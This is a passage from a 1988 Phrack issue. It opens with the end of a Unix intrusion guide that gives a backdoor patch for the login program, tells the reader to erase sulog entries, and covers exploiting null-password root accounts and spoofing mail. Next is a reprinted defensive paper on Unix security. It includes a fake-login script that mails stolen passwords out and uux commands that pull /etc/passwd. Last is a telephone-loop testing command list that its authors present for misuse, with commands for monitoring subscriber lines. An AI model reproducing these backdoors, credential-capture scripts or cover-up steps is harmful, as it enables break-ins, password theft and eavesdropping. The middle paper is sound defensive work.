These are rather odd. If you have read permission on the disks in /dev, then you can read any file on the system. All you have to do is find it in there somewhere. If the disk is writeable, if you use /etc/fsbd, you can modify any file on the system into whatever you want, such as by changing the permissions on /bin/sh to 4555. Since this is pretty difficult to understand (and I don't get it fully), then I won't bother with it any more.

-Trivial su.

You know with su you can log into anyone else's account if you know their passwords or if you're root. There are still a number of system 5's that have uid 0, null passwd, rsh accounts on them. Just be sure to remove your entry in /usr/adm/sulog.

-Trojan horses? On Unix?

Yes, but because of the shell variable PATH, we are generally out of luck, because it usually searches /bin and /usr/bin first. However, if the first

field is a colon, files in the present directory are searched first. Which means if you put a modified version of 'ls' there, hey. If this isn't the case, you will have to try something more blatant, like putting it in a game (see Shooting Shark's file a while back). If you have a system login, you may be able to get something done like that. See cron.

Taking over:

Once you have root privs, you should read all the mail in /usr/mail, just to sure nothing interesting is up, or anyone is passing another systems passwds about. You may want to add another entry to the passwd file, but that's relatively dangerous to the life of your machine. Be sure not to have anything out of the ordinary as the entry (i.e., No uid 0).

Get a copy of the login program (available at your nearest decent BBS, I hope) of that same version of Unix, and modify it a bit: on system 5, here's a modification pretty common: in the routine to check correct passwds, on the line before the actual pw check, put a if (!(strcmp(pswd,"woof"))) return(1); to check for your 'backdoor', enabling you to log on as any valid user that isn't uid 0 (On system 5).

Neato things:

-Have you ever been on a system that you couldn't get root or read the Systems/L.sys file? Well, this is a cheap way to overcome it: 'uuname' will list all machines reachable by your Unix, then (Assuming they aren't Direct, and the modem is available):

```
    $ cu -d host.you.want            [or]
    $ uucico -x99 -r1 -shost.you.want
```

Both will do about the same for us. This will fill your screen with lots of trivial material, but will eventually get to the point of printing the phone number to the other system. -d enables the cu diagnostics, -x99 enables the uucico highest debug, and -R1 says 'uucp master'.

Back a year or two, almost everywhere had their uucp passwd set to the same thing as their nuucp passwd (Thanks to the Systems file), so it was a breeze getting in. Even nowadays, some places do it.. You never can tell.

-Uucp:

I personally don't like the uucp things. Uucico and uux are limited by the Permissions file, and in most cases, that means you can't do anything except get & take from the uucppublic dirs. Then again, if the permission/L.cmd is blank, you should be able to take what files that you want. I still don't like it.

-Sending mail:

Sometimes, the mail program checks only the shell var LOGNAME, so change it, export it, and you may be able to send mail as anyone. (Mainly early system 5's.)

```
    $ LOGNAME="root";export LOGNAME
```

-Printing out all the files on the system:

Useful if you're interested in the filenames.

```
    $ find / -print >file_list&
```

And then do a 'grep text file_list' to find any files with 'text' in their names. Like grep [.]c file_list, grep host file_list....

-Printing out all restricted files:

Useful when you have root. As a normal user, do:
    $ find / -print >/dev/null&
This prints out all nonaccessable directories, so become root and see what they are hiding.

-Printing out all the files in a directory:

Better looking than ls -R:
    $ find . -print
It starts at the present dir, and goes all the way down. Catches all '.files', too.

-Rsh:

Well in the case of having an account with rsh only, check your 'set'. If SHELL is not /bin/sh, and you are able to run anything with a shell escape (ex, ed, vi, write, mail...), you should be put into sh if you do a '!sh'. If you have write permission on your .profile, change it, because rsh is ran after checking profile.

-Humor:

On a system 5, do a:
    $ cat "food in cans"

or on a csh, do:
    % hey unix, got a match?

Well, I didn't say it was great.

Password hacking:

-Salt:

In a standard /etc/passwd file, passwords are 13 characters long. This is an 11 char encrypted passwd and a 2 char encryption modifier (salt), which is used to change the des algorithm in one of 4096<?> ways. Which means there is no decent way to go and reverse hack it. Yet.

On normal system 5 Unix, passwords are supposed to be 6-8 characters long and have both numeric and alphabetic characters in them, which makes a dictionary hacker pretty worthless. However, if a user keeps insisting his password is going to be 'dog,' usually the system will comply (depending on version). I have yet to try it, but having the hacker try the normal entry, and then the entry terminated by [0-9] is said to have remarkable results, if you don't mind the 10-fold increase in time.

Final notes:

Yes, I have left a lot out. That seems to be the rage nowadays.. If you have noticed something wrong, or didn't like this, feel free to tell me. If you can find me.

-

Hi Ho. Here ends part one. <Of one?>

-
Produced and directed by: Urvile & Necron 99
---------- (c) ToK inc.,
1988

==Phrack Inc.==

Volume Two, Issue 18, Phile #7 of 11

+---------------------------------------+
| "Unix System Security Issues" |
| Typed by: |
| Whisky |
| (from Holland, Europe) |
+---------------------------------------+
| From |
| Information Age |
| Vol. 11, Number 2, April 1988 |
| Written By: |
| Michael J. Knox and Edward D. Bowden |
+---------------------------------------+

Note: This file was sent to me from a friend in Holland. I felt that it would be a good idea to present this file to the UNIX-hacker community, to show that hackers don't always harm systems, but sometimes look for ways to secure flaws in existing systems. -- Jester Sluggo !!

There are a number of elements that have lead to the popularity of the Unix operating system in the world today. The most notable factors are its portability among hardware platforms and the interactive programming environment that it offers to users. In fact, these elements have had much to do with the successful evolution of the Unix system in the commercial market place. (1, 2)

As the Unix system expands further into industry and government, the need to handle Unix system security will no doubt become imperative. For example, the US government is committing several million dollars a year for the Unix system and its supported hardware. (1) The security requirements for the government are tremendous, and one can only guess at the future needs of security in industry.

In this paper, we will cover some of the more fundamental security risks in the Unix system. Discussed are common causes of Unix system compromise in such areas as file protection, password security, networking and hacker violations. In our conclusion, we will comment upon ongoing effects in Unix system security, and their direct influence on the portability of the Unix operating system.

FILE AND DIRECTORY SECURITY

In the Unix operating system environment, files and directories are organized in a tree structure with specific access modes. The setting of these modes, through permission bits (as octal digits), is the basis of Unix system security. Permission bits determine how users can access files and the type of access they are allowed. There are three user access modes for all Unix system files and directories: the owner, the group, and others. Access to read, write and execute within each of the usertypes is also controlled by permission bits (Figure 1). Flexibility in file security is convenient, but it has been criticized as an area of system security compromise.

Permission modes

OWNER	GROUP	OTHERS
rwx	rwx	rwx

r=read w=write x=execute

```
-rw--w-r-x 1 bob csc532 70 Apr 23 20:10 file
drwx------ 2 sam A1 2 May 01 12:01 directory
```

FIGURE 1. File and directory modes: File shows Bob as the owner, with read and write permission. Group has write permission, while Others has read and execute permission. The directory gives a secure directory not readable, writeable, or executable by Group and Others.

Since the file protection mechanism is so important in the Unix operating system, it stands to reason that the proper setting of permission bits is required for overall security. Aside from user ignorance, the most common area of file compromise has to do with the default setting of permission bits at file creation. In some systems the default is octal 644, meaning that only the file owner can write and read to a file, while all others can only read it. (3) In many "open" environments this may be acceptable. However, in cases where sensitive data is present, the access for reading by others should be turned off. The file utility umask does in fact satisfy this requirement. A suggested setting, umask 027, would enable all permission for the file owner, disable write permission to the group, and disable permissions for all others (octal 750). By inserting this umask command in a user .profile or .login file, the default will be overwritten by the new settings at file creation.

The CHMOD utility can be used to modify permission settings on files and directories. Issuing the following command,

```
chmod u+rwd,g+rw,g-w,u-rwx file
```

will provide the file with the same protection as the umask above (octal 750). Permission bits can be relaxed with chmod at a later time, but at least initially, the file structure can be made secure using a restrictive umask.

By responsible application of such utilities as umask and chmod, users can enhance file system security. The Unix system, however, restricts the security defined by the user to only owner, group and others. Thus, the owner of the file cannot designate file access to specific users. As Kowack and Healy have pointed out, "The granularity of control that (file security) mechanisms is often insufficient in practice (...) it is not possible to grant one user write protection to a directory while granting another read permission to the same directory. (4) A useful file security file security extension to the Unix system might be Multics style access control lists.

With access mode vulnerabilities in mind, users should pay close attention to files and directories under their control, and correct permissions whenever possible. Even with the design limitations in mode granularity, following a safe approach will ensure a more secure Unix system file structure.

SUID and SGID

The set user id (suid) and set group id (sgid) identify the user and group ownership of a file. By setting the suid or sgid permission bits of an executable file, other users can gain access to the same resources (via the executable file) as that of the real file's owner.

For Example:

Let Bob's program bob.x be an executable file accessible to others. When Mary executes bob.x, Mary becomes the new program owner. If during program execution bob.x requests access to file browse.txt, then Mary must have previous read or write permission to browse.txt. This would allow Mary and everyone else total access to the contents of browse.txt, even when she is not running bob.x. By turning on the suid bit of bob.x, Mary will have the same

access permissions to browse.txt as does the program's real owner, but she will only have access to browse.txt during the execution of bob.x. Hence, by incorporating suid or sgid, unwelcome browsers will be prevented from accessing files like browse.txt.

Although this feature appears to offer substantial access control to Unix system files, it does have one critical drawback. There is always the chance that the superuser (system administrator) may have a writable file for others that is also set with suid. With some modification in the file's code (by a hacker), an executable file like this would enable a user to become a superuser. Within a short period of time this violator could completely compromise system security and make it inaccessible, even to other superusers. As Farrow (5) puts it, "(...) having a set-user-id copy of the shell owned by root is better than knowing the root password".

To compensate for this security threat, writable suid files should be sought out and eliminated by the system administrator. Reporting of such files by normal users is also essential in correcting existing security breaches.

DIRECTORIES

Directory protection is commonly overlooked component of file security in the Unix system. Many system administrators and users are unaware of the fact, that "publicly writable directories provide the most opportunities for compromising the Unix system security" (6). Administrators tend to make these "open" for users to move around and access public files and utilities. This can be disastrous, since files and other subdirectories within writable directories can be moved out and replaced with different versions, even if contained files are unreadable or unwritable to others. When this happens, an unscrupulous user or a "password breaker" may supplant a Trojan horse of a commonly used system utility (e.g. ls, su, mail and so on). For example, imagine

For example:

Imagine that the /bin directory is publicly writable. The perpetrator could first remove the old su version (with rm utility) and then include his own fake su to read the password of users who execute this utility.

Although writable directories can destroy system integrity, readable ones can be just as damaging. Sometimes files and directories are configured to permit read access by other. This subtle convenience can lead to unauthorized disclosure of sensitive data: a serious matter when valuable information is lost to a business competitor.

As a general rule, therefore, read and write access should be removed from all but system administrative directories. Execute permission will allow access to needed files; however, users might explicitly name the file they wish to use. This adds some protection to unreadable and unwritable directories. So, programs like lp file.x in an unreadable directory /ddr will print the contents of file.x, while ls/ddr would not list the contents of that directory.

PATH VARIABLE

PATH is an environment variable that points to a list of directories, which are searched when a file is requested by a process. The order of that search is indicated by the sequence of the listed directories in the PATH name. This variable is established at user logon and is set up in the users .profile of .login file.

If a user places the current directory as the first entry in PATH, then programs in the current directory will be run first. Programs in other directories with the same name will be ignored. Although file and directory

access is made easier with a PATH variable set up this way, it may expose the user to pre-existing Trojan horses.

To illustrate this, assume that a Trojan horse, similar to the cat utility, contains an instruction that imparts access privileges to a perpetrator. The fake cat is placed in a public directory /usr/his where a user often works. Now if the user has a PATH variable with the current directory first, and he enters the cat command while in /usr/his, the fake cat in /usr/his would be executed but not the system cat located in /bin.

In order to prevent this kind of system violation, the PATH variable must be correctly set. First, if at all possible, exclude the current directory as the first entry in the PATH variable and type the full path name when invoking Unix system commands. This enhances file security, but is more cumbersome to work with. Second, if the working directory must be included in the PATH variable, then it should always be listed last. In this way, utilities like vi, cat, su and ls will be executed first from systems directories like /bin and /usr/bin before searching the user's working directory.

PASSWORD SECURITY

User authentication in the Unix system is accomplished by personal passwords. Though passwords offer an additional level of security beyond physical constraints, they lend themselves to the greatest area of computer system compromise. Lack of user awareness and responsibility contributes largely to this form of computer insecurity. This is true of many computer facilities where password identification, authentication and authorization are required for the access of resources - and the Unix operating system is no exception.

Password information in many time-sharing systems are kept in restricted files that are not ordinarily readable by users. The Unix system differs in this respect, since it allows all users to have read access to the /etc/passwd file (FIGURE 2) where encrypted passwords and other user information are stored. Although the Unix system implements a one-way encryption method, and in most systems a modified version of the data encryption standard (DES), password breaking methods are known. Among these methods, brute-force attacks are generally the least effective, yet techniques involving the use of heuristics (good guesses and knowledge about passwords) tend to be successful. For example, the /etc/passwd file contains such useful information as the login name and comments fields. Login names are especially rewarding to the "password breaker" since many users will use login variants for passwords (backward spelling, the appending of a single digit etc.). The comment field often contains items such as surname, given name, address, telephone number, project name and so on. To quote Morris and Grampp (7) in their landmark paper on Unix system security:

> [in the case of logins]
>
> The authors made a survey of several dozen local machines, using as trial passwords a collection of the 20 most common female first names, each followed by a single digit. The total number of passwords tried was, therefore, 200. At least one of these 200 passwords turned out to be a valid password on every machine surveyed.
>
> [as for comment fields]
>
> (...) if an intruder knows something about the people using a machine, a whole new set of candidates is available. Family and friend's names, auto registration numbers, hobbies, and pets are particularly productive categories to try interactively in the unlikely event that a purely mechanical scan of the password file turns out to be disappointing.

Thus, given a persistent system violator, there is a strong evidence, that he will find some information about users in the /etc/passwd file. With this in

mind, it is obvious that a password file should be unreadable to everyone except those in charge of system administration.

```
root:aN2z06ISmxKqQ:0:10:(Boss1),656-35-0989:/:/bin
mike:9okduHy7sdLK8:09:122:No.992-3943:/usr:/bin
```

FIGURE 2. The /etc/passwd file. Note the comments field as underlined terms.

Resolution of the /etc/passwd file's readability does not entirely solve the basic problem with passwords. Educating users and administrators is necessary to assure proper password utilization. First, "good passwords are those that are at least six characters long, aren't based on personal information, and have some non-alphabetic (especially control) characters in them: 4score, my_name, luv2run" (8). Secondly, passwords should be changed periodically but users should avoid alternating between two passwords. Different passwords for different machines and files will aid in protecting sensitive information. Finally, passwords should never be available to unauthorized users. Reduction of user ignorance about poor password choice will inevitably make a system more secure.

NETWORK SECURITY

UUCP system

The most common Unix system network is the UUCP system, which is a group of programs that perform the file transfers and command execution between remote systems. (3) The problem with the UUCP system is that users on the network may access other users' files without access permission. As stated by Nowitz (9),

> The uucp system, left unrestricted, will let any outside user execute commands and copy in/out any file that is readable/writable by a uucp login user. It is up to the individual sites to be aware of this, and apply the protections that they feel free are necessary.

This emphasizes the importance of proper implementation by the system administrator.

There are four UUCP system commands to consider when looking into network security with the Unix system. The first is uucp, a command used to copy files between two Unix systems. If uucp is not properly implemented by the system administrator, any outside user can execute remote commands and copy files from another login user. If the file name on another system is known, one could use the uucp command to copy files from that system to their system. For example:

```
%uucp system2!/main/src/hisfile myfile
```

will copy hisfile from system2 in the directory /main/src to the file myfile in the current local directory. If file transfer restrictions exist on either system, hisfile would not be sent. If there are no restrictions, any file could be copied from a remote user - including the password file. The following would copy the remote system /etc/passwd file to the local file thanks:

```
%uucp system2!/etc/passwd thanks
```

System administrators can address the uucp matter by restricting uucp file transfers to the directory /user/spool/uucppublic. (8) If one tries to transfer a file anywhere else, a message will be returned saying "remote access to path/file denied" and no file transfer will occur.

The second UUCP system command to consider is the uux. Its function is to execute commands on remote Unix computers. This is called remote command execution and is most often used to send mail between systems (mail executes the uux command internally).

The ability to execute a command on another system introduces a serious security problem if remote command execution is not limited. As an example, a system should not allow users from another system to perform the following:

```
%uux "system1!cat</etc/passwd>/usr/spool/uucppublic"
```

which would cause system1 to send its /etc/passwd file to the system2 uucp public directory. The user of system2 would now have access to the password file. Therefore, only a few commands should be allowed to execute remotely. Often the only command allowed to run uux is rmail, the restricted mail program.

The third UUCP system function is the uucico (copy in / copy out) program. It performs the true communication work. Uucp or uux does not actually call up other systems; instead they are queued and the uucico program initiates the remote processes. The uucico program uses the file /usr/uucp/USERFILE to determine what files a remote system may send or receive. Checks for legal files are the basis for security in USERFILE. Thus the system administrator should carefully control this file.

In addition, USERFILE controls security between two Unix systems by allowing a call-back flag to be set. Therefore, some degree of security can be achieved by requiring a system to check if the remote system is legal before a call-back occurs.

The last UUCP function is the uuxqt. It controls the remote command execution. The uuxqt program uses the file /usr/lib/uucp/L.cmd to determine which commands will run in response to a remote execution request. For example, if one wishes to use the electronic mail feature, then the L.cmd file will contain the line rmail. Since uuxqt determines what commands will be allowed to execute remotely, commands which may compromise system security should not be included in L.cmd.

CALL THE UNIX SYSTEM

In addition to UUCP network commands, one should also be cautious of the cu command (call the Unix system). Cu permits a remote user to call another computer system. The problem with cu is that a user on a system with a weak security can use cu to connect to a more secure system and then install a Trojan horse on the stronger system. It is apparent that cu should not be used to go from a weaker system to a stronger one, and it is up to the system administrator to ensure that this never occurs.

LOCAL AREA NETWORKS

With the increased number of computers operating under the Unix system, some consideration must be given to local area networks (LANs). Because LANs are designed to transmit files between computers quickly, security has not been a priority with many LANs, but there are secure LANs under development. It is the job of the system manager to investigate security risks when employing LANs.

OTHER AREAS OF COMPROMISE

There are numerous methods used by hackers to gain entry into computer systems. In the Unix system, Trojan horses, spoofs and suids are the primary weapons used by trespassers.

Trojan horses are pieces of code or shell scripts which usually assume the role of a common utility but when activated by an unsuspecting user performs some unexpected task for the trespasser. Among the many different Trojan

horses, it is the su masquerade that is the most dangerous to the Unix system.

Recall that the /etc/passwd file is readable to others, and also contains information about all users - even root users. Consider what a hacker could do if he were able to read this file and locate a root user with a writable directory. He might easily plant a fake su that would send the root password back to the hacker. A Trojan horse similar to this can often be avoided when various security measures are followed, that is, an etc/passwd file with limited read access, controlling writable directories, and the PATH variable properly set.

A spoof is basically a hoax that causes an unsuspecting victim to believe that a masquerading computer function is actually a real system operation. A very popular spool in many computer systems is the terminal-login trap. By displaying a phoney login format, a hacker is able to capture the user's password.

Imagine that a root user has temporarily deserted his terminal. A hacker could quickly install a login process like the one described by Morris and Grampp (7):

```
echo -n "login:"
read X
stty -echo
echo -n "password:"
read Y
echo ""
stty echo
echo %X%Y|mail outside|hacker&
sleep 1
echo Login incorrect
stty 0>/dev/tty
```

We see that the password of the root user is mailed to the hacker who has completely compromised the Unix system. The fake terminal-login acts as if the user has incorrectly entered the password. It then transfers control over to the stty process, thereby leaving no trace of its existence.

Prevention of spoofs, like most security hazards, must begin with user education. But an immediate solution to security is sometimes needed before education can be effected. As for terminal-login spoofs, there are some keyboard-locking programs that protect the login session while users are away from their terminals. (8, 10) These locked programs ignore keyboard-generated interrupts and wait for the user to enter a password to resume the terminal session.

Since the suid mode has been previously examined in the password section, we merely indicate some suid solutions here. First, suid programs should be used is there are no other alternatives. Unrestrained suids or sgids can lead to system compromise. Second, a "restricted shell" should be given to a process that escapes from a suid process to a child process. The reason for this is that a nonprivileged child process might inherit privileged files from its parents. Finally, suid files should be writable only by their owners, otherwise others may have access to overwrite the file contents.

It can be seen that by applying some basic security principles, a user can avoid Trojan horses, spoofs and inappropriate suids. There are several other techniques used by hackers to compromise system security, but the use of good judgement and user education may go far in preventing their occurrence.

CONCLUSION

Throughout this paper we have discussed conventional approaches to Unix system security by way of practical file management, password protection, and networking. While it can be argued that user education is paramount in maintaining Unix system security (11) factors in human error will promote some degree of system insecurity. Advances in protection mechanisms through

better-written software (12), centralized password control (13) and identification devices may result in enhanced Unix system security.

The question now asked applies to the future of Unix system operating. Can existing Unix systems accommodate the security requirements of government and industry? It appears not, at least for governmental security projects. By following the Orange Book (14), a government graded classification of secure computer systems, the Unix system is only as secure as the C1 criterion. A C1 system, which has a low security rating (D being the lowest) provides only discretionary security protection (DSP) against browsers or non-programmer users. Clearly this is insufficient as far as defense or proprietary security is concerned. What is needed are fundamental changes to the Unix security system. This has been recognized by at least three companies, AT&T, Gould and Honeywell (15, 16, 17). Gould, in particular, has made vital changes to the kernel and file system in order to produce a C2 rated Unix operating system. To achieve this, however, they have had to sacrifice some of the portability of the Unix system. It is hoped that in the near future a Unix system with an A1 classification will be realized, though not at the expense of losing its valued portability.

REFERENCES

1 Grossman, G R "How secure is 'secure'?" Unix Review Vol 4 no 8 (1986) pp 50-63
2 Waite, M et al. "Unix system V primer" USA (1984)
3 Filipski, A and Hanko, J "Making Unix secure" Byte (April 1986) pp 113-128
4 Kowack, G and Healy, D "Can the holes be plugged?" Computerworld Vol 18 (26 September 1984) pp 27-28
5 Farrow, R "Security issues and strategies for users" Unix/World (April 1986) pp 65-71
6 Farrow, R "Security for superusers, or how to break the Unix system" Unix/World (May 1986) pp 65-70
7 Grampp, F T and Morris, R H "Unix operating system security" AT&T Bell Lab Tech. J. Vol 63 No 8 (1984) pp 1649-1672
8 Wood, P H and Kochan, S G "Unix system security" USA (1985)
9 Nowitz, D A "UUCP Implementation description: Unix programmer's manual Sec. 2" AT&T Bell Laboratories, USA (1984)
10 Thomas, R "Securing your terminal: two approaches" Unix/World (April 1986) pp 73-76
11 Karpinski, D "Security round table (Part 1)" Unix Review (October 1984) p 48
12 Karpinski, D "Security round table (Part 2)" Unix Review (October 1984) p 48
13 Lobel, J "Foiling the system breakers: computer security and access control" McGraw-Hill, USA (1986)
14 National Computer Security Center "Department of Defense trusted computer system evaluation criteria" CSC-STD-001-83, USA (1983)
15 Stewart, F "Implementing security under Unix" Systems&Software (February 1986)
16 Schaffer, M and Walsh, G "Lock/ix: An implementation of Unix for the Lock TCB" Proceedings of USENIX (1988)
17 Chuck, F "AT&T System 5/MLS Product 14 Strategy" AT&T Bell Labs, Government System Division, USA (August 1987)

==========

==Phrack Inc.==

Volume Two, Issue 18, Phile #8 of 11

Control C

and

The Tribunal of Knowledge presents...

LMOS (Loop Maintenance Operation System)

-A List of Commands-

This file contains what to our knowledge are the best things to do on LMOS. We were really vague due to the great power of the information provided in this file. You now know the commands so we will not go into (either in this file or when talking to us) how to use this information, it is up to you to figure out how to use it.

+: Increase the voice volume on a line

+ lets you increase the volume when you are talking on or monitoring a sub-scriber's line over a callback path. The volume is increased because MLT adds amplifier to the line. + may be used after a mon, talk, rev, talkin or call request. Sometimes MLT adds an amplifier automatically to a long line. You will not know it is there so if you try to add amplification, a + will appear in the status sections but the voices will not get any louder because they are already loud as possible.

-: Decrease the voice volume on a line

- lets you decrease the volume when you are talking on or monitoring a subscriber's line over a callback path. The volume is decreased because MLT removes amplifier from the line. - may be used to remove amplifier that you have placed on the line with the + request, or amplifier that MLT has automatically places on a long line. The main reason to remove the amplifier is because it can sometimes cause a shrill or howl.

Call: Make a call on a subscriber's line

Call lets you use your touch-tone pad to dial any number you want using the customer's line circuit. It does this by simulating an off-hook condition in order to draw dial tone. A callback number is a required entry on the tv mask and an mdf access is required for calling out (except in SXS and panel offices). You can use a call when: 1) You want to know the TN for a known CA & PR - you would call TSPS or ANI. 2) Calls cannot be completed to a TN - you would call that TN. 3) To monitor dial tone on a customer's line.

Callrd: Make a call on a dial pulse line circuit

Callrd lets you use your touch-tone pad to dial using the customer's rotary dial line circuit. MLT does this by translating tones on a customer's line. mdf access is required for calling out (except in SXS, DMS10, DMS100, and DMS100AC offices). Use a callrd if you want to know the TN for a known CA & PR - you would call TSPS or ANI.

Ccol: Collect coins using coin relay

Ccol attempts to collect any coins that are in the hopper of a coin telephone set by operating the coin relay. Ccol does not check the totalizer or check

the rest of the line. The results tell you only about relay operation, speed, and the current that is necessary to operate it. A ver code is not returned by ccol. You must have access to the line before your request ccol. You will use ccol most often when you are talking to a repair person who is trying to fix a coin phone.

Channel: Run enhanced channel tests on DLC lines

Chan or channel runs channel isolation tests and tells you if you have a bad COT or RT channel unit. Use this request to run enhanced channel tests on lines served by digital loop carriers such as SLC Series 5. Chan can only be run if there is special equipment in the co you're testing in. If you are testing a non-locally switched line with the SSA request, channel tests must be run separately with this request. Chan may also be used to run channel isolation tests on switched lines from the tv or stv mask, but these tests are included when you do a full or loop on a switched line.

Change: Change status information

Change allows you to change cable, pair or comment information that is displayed without having to request a test or any other type of information. the permanent line record information is not changed. To request a change, enter "change" in the req field of the tv and enter the change of information.

Chome: Home totalizer on a coin telephone

Chome attempts to return a totalizer to the starting position (home) for counting coins. The totalizer counts the coins and sends a tone back to the co for every 5 cents deposited. If it is not homed, coins can't be deposited. A chome request tells you whether the totalizer was homed, how many tones were sent to the co, and the current that was used to home the totalizer. A line must already be accessed to request a chome. Chome is often used when a repair person is trying to fix a coin telephone.

Co: Test the central office equipment

Co initiates a series of tests on the subscriber's line circuit. Co can be requested using either a no-test or an MDF trunk. A no-test access connects you to the entire loop but a co request tests only the inside portion. An MDF access is only connected to the inside portion of the loop. The outside portion is physically disconnected. Use a no-test access when you are fairly sure the trouble is inside the central office. Use a co on an MDF access when you are not sure where the trouble is.

Coin: Test a coin telephone set

Coin initiates a full series of tests on a telephone line. The station set, the totalizer, the coin relay, the loop and the co equipment are checked. If the coin request finds something wrong with either the totalizer or the relay, it stops testing and tells you the trouble is in the set. If it finds nothing wrong, it runs the full entries of tests. Coin may be used when a repair person is trying to fix a coin telephone. If a coin phone is newly installed, coin will check the set even though there is no line record.

Cret: Operate coin relay to return coins

Cret attempts to return any coins that may be lodged in the hopper of a coin telephone set. It operates the coin relay so that it will return the coins. It tries to return them 3 times before giving up. If it is successful, it also checks the speed of the relay. It does not check the totalizer or the rest of the line. You should have access to the line before you request a

cret. You will use cret primarily when you are talking to a repair person who is trying to repair coin telephone.

Cset: Check totalizer and relay in coinset

Cset checks the totalizer and the coin relay in a coin telephone set. The totalizer is the mechanism in the phone that counts deposited coins and sends a tone back to the co for every 5 cents that is deposited. The relay is the mechanism that either returns or collects the coins that are deposited. Cset does not check the co or loop parts of the line. Cset can be used when you are talking to a repair person who is fixing a coin telephone.

Dial: Test a subscriber's rotary dial

Dial checks the subscriber's rotary dial. You must be in contact with the subscriber,either over a callback path or over a ddd line. For the dial request to work correctly, tell the subscriber to dial a "0" after hearing brief dial tone. The results of a dial request tell you whether the dial is okay or not, whether the dial speed is okay and what the speed is, and whether the break is okay and what the break is. Use the dial request when you suspect a problem with the telephone set. The trouble report could be "Can't call out' or 'Gets wrong numbers", for example.

Dtout: Test a pbx line circuit

Dtout initiates a series of tests on a pbx line circuit. Dtout must be requested using an MDF trunk. It is used to draw dial tone and check the arrangement of the pbx line circuit. Use dtout when you need to check the condition of special service circuits that do not use central office switches.

Full: Test the entire telephone line

Full starts a series of tests that do an extensive analysis of the entire line. This includes both the inside and outside portions. Many individual tests are run and the most important results are displayed in the summary message. Outside, MLT checks for AC and DC faults. Inside, it checks the line circuit and dial tone. The results may also include many other types of information about the line. You might request full line test when you first access a line or when you need to know a lot about a line.

Grm: Get fast ground resistance measurement

Grm gives you a quick measurement of the DC resistance of the ground path from the strap to the test hardware. Before you do a grm, have the repair person strap the tip and ring wires to ground. If this isn't done, grm will give you incorrect values. The line must be accessed before you do a grm request. You can use grm when you are talking to a repair person who is fixing a coinset. The resistance values obtained from a grm can be compared to old resistance values that are stored inside each coinset.

Help: List the valid tv requests

Help returns a list of all of the valid requests used in MLT-2. Help can be used when you are not sure which request to use in a particular situation, or when you can't remember an exact request name. For example, the correct entry to reverse polarity on a touch-tone line is "Rev.", help will tell you this. For a description of any specific request, enter the name of the request followed by a question mark.

Info: Get general information about a line

Info gives you the wire center name and the location of the frame; the exchange key, MDF group and MDF trunk numbers associated with the subscriber's line; the telephone number at the appropriate frame; and the assignment telephone number. You can get information about a whole telephone number, an NPA-NXX-, or an exchange key. MLT does not access the line when you request info, but it keeps access if you already have it. If there are multiple frames in an office, MLT give you information about all of them.

Keep: Keep an access that you already have

Keep lets you hold access to a no-test or MDF trunk that is about to "timeout." MLT keeps track of which trunks you have accessed but have not used for a while. MLT will automatically drop the access for you after a certain period of time. About 2 minutes before dropping the access, MLT gives you a warning message and also highlights the status line that will be dropped. If you want to keep the access, you should enter "keep" in the req field and the tn or line number of the access to be held. To drop an access when your are finished with it, enter an x in the req field.

Lin: Test the inside part of the loop

Lin starts a series of tests on the inside portion of a line. Lin includes the same tests as the loop test and can identify a co line circuit if one is present. Lin does not do the regular line circuit and draw and break dial tone tests. An MDF access is required for a lin request. You can use lin to test special circuit that do not use co switching machine. For example, if the circuit has 2 loops connected at the frame, lin lets you look at the second loop (both full and loop only test toward one loop).

Lloop: Run the long loop analysis on the outside or loop part of a line

The ll request starts a series of tests which do extensive analysis of the outside portion of the subscriber's line. It is specifically designed to handle cases that the regular loop request was not designed to handle. These cases include very long loops (over 100,000 feet) and multiparty lines on moderate-to-very-long loops. It does similar measurements to those that loop does, but analyzes the results differently. It expects to see a loop that has no dc faults or only very light dc faults. If you use a loop on lloop on a loop that has serious dc faults it will not do the long loop analysis.

Loc1: Measure distance to 1-sided resistive fault

Loc1 gets MLT to measure how far a one-sided fault is from the repair person, because telephone lines can be very long, it can be difficult for a repair person to find the location of a resistive fault. You can use loc1 to help the repair person have 1-sided fault. You should be in contact with the repair person on a line other than the one being measured. Have the repair person open the pr at a ready-access point beyond the fault if possible. Ask him/her to strap the pr tip to ring. Remember to enter a temperature on the tv mask before you transmit the loc1 request.

Loc2: Measure distance to 2-sided resistive fault

Loc2 gets MLT to measure how far a two-sided fault is from the repair person. Remember that you must run a locgp before you run a loc2 and that you must be in contact with the repair-person on a line other than the one you will be measuring. The repair-person must connect the bad pair to the good pair in a specific way, the exact method to use is explained in the results of the locgp request. Logcp and loc2 can also be used to sectionalize a one-sided resistive fault. Remember to enter a temperature on the tv mask before you transmit the loc2 request.

Look: Look for an intentional fault

Look is used to identify a fault, usually a short or ground, that has been placed on the line by the repair person. Look can be used when a repair person is having trouble locating a particular line. Look gets MLT to monitor the line that the repair person is looking for. When the repair person shorts or grounds the line, mlt sends a tone to you over your headset. You can tell the repair person that you "see the short". A callback path is required for a look request. You should talk to the repair person on a line other than the one you are working on.

Lookin: Look for an intentional fault on a special services line

Lookin is used to identify a fault, usually a short or ground, that has been placed on the special services line by the technician. Lookin is used to locate a particular line by having MLT monitor the line that the repair person is looking for. When the repair person shorts or grounds the line, MLT sends a tone to you over your headset. You can tell the repair person that you "See the short." A callback path is required for a lookin quest. You should talk to the repair person on a line other than the one you are working on. MDF access is required.

Loop: Test the outside part of the loop

Loop starts a series of tests that do an extensive analysis of the outside portion of the line. Loop does every test that full does except the line circuit and draw and break dial tone tests. Loop can be requested using either a no-test or an MDF trunk. A no-test access connects you to the entire line but a loop request tests only the outside portion. An MDF access is only connect to the outside portion. Use a no-test trunk when you are fairly sure the trouble is out of the co and an MDF when you are not sure.

Lrm: Get fast loop resistance measurement

lrm gives you a quick measurement of the DC resistance on a line. Lrm can't be run unless either the receiver is off-hook or the line is strapped tip to ring (an intentional short is placed on the line by the repair person). Also, MLT will not accept an lrm request if there is a hard ground on the line. Lrm does not access the line so you must already have access to do an lrm. You can use lrm when you are talking to a repair person who is fixing a coinset. The resistance values obtained from the lrm can be compared to the old resistance values that are stored inside each coinset.

MDF(#): Access a specific MDF trunk

MDF(#) lets you choose the MDF trunk that you want MLT to access. Use this request when an MDF trunk is connected to a telephone line at the MDF but is not connected to the loop testing system. This may occur in small offices where the frame attendant doesn't work for the entire day. You can also use this request when an MDF trunk has to be tested and repaired. The MDF entry must be a five character entry consisting of the wire center identifier and the trunk number.

Mdf: Access a main distributing frame (MDF)

MDF connects the mlt testing equipment to an MDF trunk. Before you can enter any requests, you must have the frame attendant connect the MDF trunk to the subscriber's line. Remember that MLT automatically accesses a no-test trunk unless you specifically request an MDF trunk. An MDF trunk goes directly from the loop testing system to the main distributing frame. Bypassing the central

